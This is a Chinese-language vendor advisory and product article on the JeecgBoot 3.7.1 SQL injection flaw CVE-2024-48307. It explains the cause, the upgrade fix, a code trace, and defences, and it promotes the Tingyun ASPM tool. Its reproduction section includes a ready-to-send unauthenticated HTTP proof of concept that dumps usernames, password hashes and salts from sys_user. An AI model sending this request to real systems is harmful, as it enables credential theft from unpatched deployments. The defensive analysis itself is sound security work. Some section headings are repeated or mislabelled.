在数字化浪潮中，Web 应用已成为企业运营的核心。然而，随之而来的安全挑战也日益严峻，其中 SQL 注入漏洞作为一种经典的攻击手段，至今仍是威胁数据安全的重要因素。近期，JeecgBoot 低代码平台被曝出 SQL 注入漏洞（CVE-2024-48307），再次提醒我们对数据库安全的重视。本文将围绕这一漏洞，从其概览、风险自查、修复建议，到漏洞原理、复现与追踪，再到如何通过专业工具和策略进行有效防护，为您提供一份全面的技术解读，旨在帮助企业构建更坚固的安全防线。
01
漏洞概览
/ TINGYUN
JeecgBoot是一个由Java开发的一款的集成AI应用的，基于BPM流程的低代码平台。JeecgBoot v3.7.1版本存在安全漏洞，该漏洞源于通过组件/onlDragDatasetHead/getTotalData 发现包含 SQL 注入漏洞。该漏洞允许攻击者通过构造恶意请求，在未授权的情况下直接对数据库进行操作，从而可能导致数据泄露、数据篡改，甚至获取数据库控制权。这无疑对依赖 JeecgBoot 平台的用户构成了巨大的潜在威胁。
02
风险自查
/ TINGYUN
为了及时发现并规避潜在风险，企业应当对使用的 JeecgBoot 版本进行自查。您可以通过检查 org.jeecgframework.boot:jeecg-boot-parent 的版本，核查您的 JeecgBoot 是否处于以下受影响的范围内：org.jeecgframework.boot:jeecg-boot-parent
03
如何修复受影响的程序
/ TINGYUN
针对JeecgBoot SQL 注入漏洞，最直接有效的修复方式是升级您的 JeecgBoot 版本。请注意以下升级建议：
-
升级到 org.jeecgframework.boot:jeecg-boot-parent 3.7.1 以上版本。
04
漏洞原理
/ TINGYUN
CVE-2024-48307 JeecgBoot 在线报表 SQL 注入漏洞的根本原因在于以下方面：
-
未授权访问：接口 /drag/onlDragDatasetHead/getTotalData 被配置为未授权访问（anon），任何用户都能直接调用。
-
参数未严格校验：接口接收的 tableName 和 condition 参数在拼接 SQL 时未经过严格校验。
-
未使用预编译：未使用 MyBatis 的预编译（参数绑定）方式，而是直接拼接到 SQL 语句中。
攻击者可以构造恶意请求，在 tableName 或查询条件中注入 SQL 语句，从而导致数据泄露、数据篡改，甚至获取数据库控制权限。
03
如何修复受影响的程序
/ TINGYUN
为了更直观地理解 SQL 注入漏洞的利用过程，我们将通过 JeecgBoot v3.7.1版本进行漏洞复现。以下是详细的复现步骤：
1.搭建环境
根据官方文档进行环境搭建，只进行漏洞复现可不搭建前端环境：
源代码：https://github.com/jeecgboot/JeecgBoot/tree/v3.7.1
官方搭建文档：https://help.jeecg.com/java/setup/idea/startup.html
启动环境
2.构造 POC 并请求接口
构造 poc，请求接口 POST /jeecg-boot/drag/onlDragDatasetHead/getTotalData
3.POC
POST/jeecg-boot/drag/onlDragDatasetHead/getTotalData HTTP/1.1
Host: {host}:8080
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Referer: http://{host}/jeecg-boot/
Accept-Encoding: gzip, deflate
Content-Type: application/json
Request-Origion: Knife4j
knife4j-gateway-code: ROOT
Origin: http://{host}:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: */*
Content-Length: 357
{
“tableName”: “sys_user”,
“compName”: “test”,
“condition”: { “filter”: {} },
“config”: {
“assistValue”: [],
“assistType”: [],
“name”: [
{ “fieldName”: “concat(username,0x3a,password,0x3a,salt)”, “fieldType”: “string” },
{ “fieldName”: “id”, “fieldType”: “string” }
],
“value”: [{ “fieldName”: “id”, “fieldType”: “string” }],
“type”: []
}
}
04
漏洞追踪
/ TINGYUN
为了更深入地理解漏洞的成因，我们对JeecgBoot的相关代码进行了追踪分析：
//1.权限控制分析
jeecg 通过 shiro 控制权限，先找到 ShiroConfig.java，JeecgBoot-3.7.1jeecg-bootjeecg-boot-base-coresrcmainjavaorgjeecgconfigshiroShiroConfig.java，可以看到 /jeecg-boot/drag/onlDragDatasetHead/getTotalData 配置了不需要 anon，即匿名访问，不需要登录就能访问。
//2.定位漏洞路由
存在漏洞的路由为：/jeecg-boot/drag/onlDragDatasetHead/getTotalData，找到对应的文件，找到对应路由。
//3.参数获取与传递
通过调试模式，可以发现可以让 compName 不等于”JPivotTable”,进入 this.onlDragDatasetHeadService.getTotalData(var3, var4, var5, var6, var9),var3，var4,var5,var6 均从请求中获取，var9 为身份校验后的结果，此漏洞无需验证身份。
//4.进一步跟进
跟进后进入 org.jeecg.modules.drag.service.a.d#getTotalData，让请求头中的 config.formtype 不等于 design。
//5.关键变量分析
进入 org.jeecg.modules.drag.service.a.i，在 handleOnlineForm 中，var7 为关键，其中包含需要查询的字段。
//6.SOL拼接问题
进一步跟进 this.onlDragDatasourceDao.selectListBySql 方法，发现这里没有对用户输入的参数进行过滤，而是直接拼接 SQL 语句进行查询，并将查询结果返回给 var8。此时，系统已经根据用户输入的恶意参数进行了查询，从而导致 SQL 注入。
05
听云 ASPM 如何提供帮助
/ TINGYUN
面对日益复杂的网络安全威胁，专业的应用安全性能管理（ASPM）工具显得尤为重要。听云 ASPM 用户可以通过威胁感知，组件风险，来实时观察自己的系统是否存在依赖 0day 安全风险以及 1day 或 nday 的组件风险。针对上述 jeecgBoot SQL 注入漏洞，听云 ASPM 能够发挥以下关键作用：
SQL 注入漏洞发现
当 JeecgBoot 通过听云探针插桩后，恶意攻击者尝试有效 SQL 攻击，在听云 ASPM 的深度威胁中能够立即发现 SQL 漏洞。
威胁感知详情
通过 ASPM，用户可以看到 SQL 攻击的请求信息和漏洞信息，帮助企业快速定位触发漏洞的位置。
威胁感知详情-修复方案
ASPM 还提供 SQL 注入漏洞的原理解析和修复示例，帮助开发人员理解和修复漏洞。
06
企业如何应对SQL注入漏洞
/ TINGYUN
在企业 Web 应用开发过程中，随着系统功能的不断扩展，接口数量往往成百上千。开发者在赶工期或维护过程中，常常会忽视对某些接口参数的严格过滤，从而埋下安全隐患，SQL 注入漏洞就是其中的高发问题。例如，《CVE-2024-48307 JeecgBoot SQL 注入漏洞》就是典型案例。攻击者仅需通过构造恶意请求参数，即可将恶意 SQL 拼接到查询语句中，进而实现数据库数据泄露甚至系统控制。
应对这类问题的核心在于确保数据库查询的安全性，并构建多层次的防护体系：
· 严格的输入校验：所有与数据库交互的参数都必须经过合法性校验，避免直接拼接 SQL。建议采用参数化查询（PreparedStatement）或 MyBatis 占位符绑定的方式，而不是字符串拼接。
· 最小化数据库权限：限制数据库账户权限，例如只授予查询权限，避免开发库账号拥有 DROP、UPDATE、DELETE 等危险操作权限，降低注入被利用后的危害面。
· 数据库层防护：在数据库层开启 SQL 防火墙（如 MySQL 的 SQL_SAFE_UPDATES 或 WAF 规则），过滤掉明显的注入语句，阻断异常查询。
· 统一安全框架：企业应建立统一的数据访问安全框架，屏蔽底层 SQL 拼接逻辑，开发人员只能通过安全封装后的接口进行数据库访问。
然而，在实际的企业应用中，接口数量庞大、业务迭代频繁，即使有规范和框架，也难以保证所有接口 100% 安全无误。这时，借助专业工具的价值就尤为突出。通过听云应用安全性能管理（ASPM）、SAST/IAST 等专业工具，企业能够自动化发现 SQL 注入风险，持续追踪接口中的安全缺陷，快速定位问题接口与触发条件，从而有效筑牢整体安全防线。
通过以上措施，企业才能在高频迭代 + 海量接口的环境下，从源头上减少类似 JeecgBoot SQL 注入漏洞的发生，并在开发、测试、上线全链路中形成可持续、可量化的安全保障机制。
面对日益严峻的网络安全形势，企业必须从开发、部署到运维的各个环节，全面加强安全防护。通过严格的输入校验、合理的权限管理、数据库层防护、统一安全框架以及引入专业的 ASPM 工具，企业能够有效抵御 SQL 注入等各类安全威胁，确保业务的持续稳定运行。
参考：
https://github.com/jeecgboot/JeecgBoot/issues/7237
声明：
本文的所有漏洞环境均为本地测试环境，且本文仅供学习、安全研究参考使用，请勿用作违法用途，否则后果自负。
推荐阅读
